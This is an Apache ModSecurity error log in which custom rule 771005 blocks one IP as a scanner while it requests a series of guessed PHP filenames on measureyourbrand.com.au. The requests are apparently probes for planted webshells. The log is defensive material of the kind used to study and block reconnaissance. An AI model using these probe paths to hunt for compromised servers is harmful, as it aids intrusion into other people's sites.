[Sat Apr 11 09:39:51.041197 2026] [:error] [pid 25460:tid 25478] [client 72.146.3.145:48848] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "admmZ54qILXFw3ifO2txOAAAAFA"]
[Sat Apr 11 09:39:51.500995 2026] [:error] [pid 22664:tid 22710] [client 72.146.3.145:39290] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "admmZwRS_OPFpcXOZmWOqAAAAU0"]
[Sat Apr 11 09:39:51.997745 2026] [:error] [pid 22756:tid 22768] [client 72.146.3.145:26343] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "admmZ2foSJ40LEm6kfq9tAAAAAo"]
[Sat Apr 11 09:39:52.928992 2026] [:error] [pid 22756:tid 22769] [client 72.146.3.145:55379] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "admmaGfoSJ40LEm6kfq9uwAAAAs"]
[Sat Apr 11 09:39:53.389833 2026] [:error] [pid 22664:tid 22713] [client 72.146.3.145:34267] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "admmaQRS_OPFpcXOZmWOrgAAAVA"]
[Sat Apr 11 09:39:53.855553 2026] [:error] [pid 22663:tid 22685] [client 72.146.3.145:34250] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "admmaY1p7ez17BT2hZYOdQAAARE"]
[Sat Apr 11 09:39:54.331921 2026] [:error] [pid 22663:tid 22688] [client 72.146.3.145:43078] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "admmao1p7ez17BT2hZYOdwAAARQ"]
[Sat Apr 11 09:39:54.831390 2026] [:error] [pid 25460:tid 25471] [client 72.146.3.145:55390] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "admmap4qILXFw3ifO2txRwAAAEk"]
[Sat Apr 11 09:39:55.311019 2026] [:error] [pid 22664:tid 22707] [client 72.146.3.145:26307] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "admmawRS_OPFpcXOZmWOsgAAAUo"]
[Sat Apr 11 09:39:56.143452 2026] [:error] [pid 22665:tid 22732] [client 72.146.3.145:29413] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "admmbEgi15J0QUr6OrPpmwAAAYg"]
[Sat Apr 11 09:39:56.714434 2026] [:error] [pid 22663:tid 22684] [client 72.146.3.145:29377] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "admmbI1p7ez17BT2hZYOfgAAARA"]
[Sat Apr 11 09:39:57.298844 2026] [:error] [pid 25460:tid 25463] [client 72.146.3.145:29382] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "admmbZ4qILXFw3ifO2txTAAAAEE"]
[Sat Apr 11 09:39:57.842209 2026] [:error] [pid 25460:tid 25465] [client 72.146.3.145:48880] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "admmbZ4qILXFw3ifO2txUwAAAEM"]
[Sat Apr 11 09:39:58.413670 2026] [:error] [pid 25460:tid 25467] [client 72.146.3.145:55402] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "admmbp4qILXFw3ifO2txVQAAAEU"]
[Sat Apr 11 09:39:58.929662 2026] [:error] [pid 25460:tid 25470] [client 72.146.3.145:47031] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "admmbp4qILXFw3ifO2txVgAAAEg"]
[Sat Apr 11 09:39:59.414560 2026] [:error] [pid 25460:tid 25473] [client 72.146.3.145:50580] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "admmb54qILXFw3ifO2txWwAAAEs"]
[Sat Apr 11 09:39:59.905613 2026] [:error] [pid 22665:tid 22733] [client 72.146.3.145:29267] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "admmb0gi15J0QUr6OrPprgAAAYk"]
[Sat Apr 11 09:40:00.393068 2026] [:error] [pid 22664:tid 22698] [client 72.146.3.145:21391] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "admmcARS_OPFpcXOZmWOwQAAAUE"]
[Sat Apr 11 09:40:00.869417 2026] [:error] [pid 22756:tid 22772] [client 72.146.3.145:51889] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "admmcGfoSJ40LEm6kfq91QAAAA4"]
[Sat Apr 11 09:40:01.344243 2026] [:error] [pid 22756:tid 22780] [client 72.146.3.145:39263] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maul.php"] [unique_id "admmcWfoSJ40LEm6kfq92AAAABY"]
[Sat Apr 11 09:40:01.824057 2026] [:error] [pid 22756:tid 22760] [client 72.146.3.145:43072] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maul.php"] [unique_id "admmcWfoSJ40LEm6kfq93gAAAAI"]
[Sat Apr 11 09:40:02.290914 2026] [:error] [pid 25460:tid 25475] [client 72.146.3.145:4317] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maul.php"] [unique_id "admmcp4qILXFw3ifO2txXgAAAE0"]
[Sat Apr 11 09:40:02.751543 2026] [:error] [pid 25460:tid 25473] [client 72.146.3.145:38864] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maul.php"] [unique_id "admmcp4qILXFw3ifO2txYgAAAEs"]
[Sat Apr 11 09:40:03.220504 2026] [:error] [pid 22664:tid 22712] [client 72.146.3.145:26325] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "admmcwRS_OPFpcXOZmWOxQAAAU8"]
[Sat Apr 11 09:40:03.686502 2026] [:error] [pid 25460:tid 25485] [client 72.146.3.145:51179] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "admmc54qILXFw3ifO2txcQAAAFc"]
[Sat Apr 11 09:40:04.144138 2026] [:error] [pid 22664:tid 22706] [client 72.146.3.145:26354] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "admmdARS_OPFpcXOZmWOyQAAAUk"]
[Sat Apr 11 09:40:04.617077 2026] [:error] [pid 25460:tid 25462] [client 72.146.3.145:63185] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5b9ac.php"] [unique_id "admmdJ4qILXFw3ifO2txdwAAAEA"]
[Sat Apr 11 09:40:05.100440 2026] [:error] [pid 25460:tid 25464] [client 72.146.3.145:55415] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "admmdZ4qILXFw3ifO2txfQAAAEI"]
[Sat Apr 11 09:40:05.560910 2026] [:error] [pid 25460:tid 25483] [client 72.146.3.145:29295] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "admmdZ4qILXFw3ifO2txggAAAFU"]
[Sat Apr 11 09:40:06.101766 2026] [:error] [pid 25460:tid 25476] [client 72.146.3.145:38859] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "admmdp4qILXFw3ifO2txiQAAAE4"]
[Sat Apr 11 09:40:06.650034 2026] [:error] [pid 25460:tid 25468] [client 72.146.3.145:29429] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "admmdp4qILXFw3ifO2txlQAAAEY"]
[Sat Apr 11 09:40:07.130499 2026] [:error] [pid 22665:tid 22736] [client 72.146.3.145:35828] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "admmd0gi15J0QUr6OrPpygAAAYw"]
[Sat Apr 11 09:40:07.671264 2026] [:error] [pid 22756:tid 22776] [client 72.146.3.145:22545] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "admmd2foSJ40LEm6kfq9-AAAABI"]
[Sat Apr 11 09:40:08.130037 2026] [:error] [pid 25460:tid 25463] [client 72.146.3.145:50574] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "admmeJ4qILXFw3ifO2txowAAAEE"]
[Sat Apr 11 09:40:08.590568 2026] [:error] [pid 22664:tid 22720] [client 72.146.3.145:43128] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "admmeARS_OPFpcXOZmWO1AAAAVc"]
[Sat Apr 11 09:40:09.153396 2026] [:error] [pid 25460:tid 25479] [client 72.146.3.145:38863] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/varb.php"] [unique_id "admmeZ4qILXFw3ifO2txqAAAAFE"]
[Sat Apr 11 09:40:09.652563 2026] [:error] [pid 25460:tid 25470] [client 72.146.3.145:4349] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/varb.php"] [unique_id "admmeZ4qILXFw3ifO2txqgAAAEg"]
[Sat Apr 11 09:40:10.128830 2026] [:error] [pid 25460:tid 25469] [client 72.146.3.145:55252] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/varb.php"] [unique_id "admmep4qILXFw3ifO2txrgAAAEc"]
[Sat Apr 11 09:40:10.633821 2026] [:error] [pid 22665:tid 22733] [client 72.146.3.145:40973] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/varb.php"] [unique_id "admmekgi15J0QUr6OrPp1QAAAYk"]
[Sat Apr 11 09:40:11.091952 2026] [:error] [pid 22756:tid 22764] [client 72.146.3.145:29436] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "admme2foSJ40LEm6kfq9_wAAAAY"]
[Sat Apr 11 09:40:11.588385 2026] [:error] [pid 22665:tid 22725] [client 72.146.3.145:35811] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "admme0gi15J0QUr6OrPp2gAAAYE"]
[Sat Apr 11 09:40:12.073478 2026] [:error] [pid 22756:tid 22773] [client 72.146.3.145:26175] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "admmfGfoSJ40LEm6kfq-BgAAAA8"]
[Sat Apr 11 09:40:12.543562 2026] [:error] [pid 22756:tid 22776] [client 72.146.3.145:43094] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "admmfGfoSJ40LEm6kfq-DAAAABI"]
[Sat Apr 11 09:40:13.095750 2026] [:error] [pid 22665:tid 22746] [client 72.146.3.145:29401] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "admmfUgi15J0QUr6OrPp4QAAAZY"]
[Sat Apr 11 09:40:13.558170 2026] [:error] [pid 25460:tid 25466] [client 72.146.3.145:4341] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "admmfZ4qILXFw3ifO2txvQAAAEQ"]
[Sat Apr 11 09:40:14.403114 2026] [:error] [pid 25460:tid 25472] [client 72.146.3.145:43088] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "admmfp4qILXFw3ifO2txygAAAEo"]
[Sat Apr 11 09:40:14.930868 2026] [:error] [pid 22665:tid 22743] [client 72.146.3.145:53685] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clss.php"] [unique_id "admmfkgi15J0QUr6OrPp6AAAAZM"]
[Sat Apr 11 09:40:15.455031 2026] [:error] [pid 25460:tid 25463] [client 72.146.3.145:38849] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "admmf54qILXFw3ifO2txzwAAAEE"]
[Sat Apr 11 09:40:15.938304 2026] [:error] [pid 22663:tid 22676] [client 72.146.3.145:50603] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "admmf41p7ez17BT2hZYOnQAAAQg"]
[Sat Apr 11 09:40:16.468890 2026] [:error] [pid 25460:tid 25465] [client 72.146.3.145:33789] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "admmgJ4qILXFw3ifO2tx1QAAAEM"]
[Sat Apr 11 09:40:16.941966 2026] [:error] [pid 22663:tid 22685] [client 72.146.3.145:4337] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "admmgI1p7ez17BT2hZYOowAAARE"]
[Sat Apr 11 09:40:17.433224 2026] [:error] [pid 22664:tid 22706] [client 72.146.3.145:21416] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "admmgQRS_OPFpcXOZmWO4QAAAUk"]
[Sat Apr 11 09:40:18.016808 2026] [:error] [pid 22756:tid 22765] [client 72.146.3.145:48868] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "admmgmfoSJ40LEm6kfq-GwAAAAc"]
[Sat Apr 11 09:40:18.914622 2026] [:error] [pid 22756:tid 22768] [client 72.146.3.145:43101] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "admmgmfoSJ40LEm6kfq-HwAAAAo"]
[Sat Apr 11 09:40:19.389799 2026] [:error] [pid 22665:tid 22742] [client 72.146.3.145:51967] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5e0a.php"] [unique_id "admmg0gi15J0QUr6OrPp7wAAAZI"]
[Sat Apr 11 09:40:19.870844 2026] [:error] [pid 22756:tid 22771] [client 72.146.3.145:32048] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bo.php"] [unique_id "admmg2foSJ40LEm6kfq-JQAAAA0"]
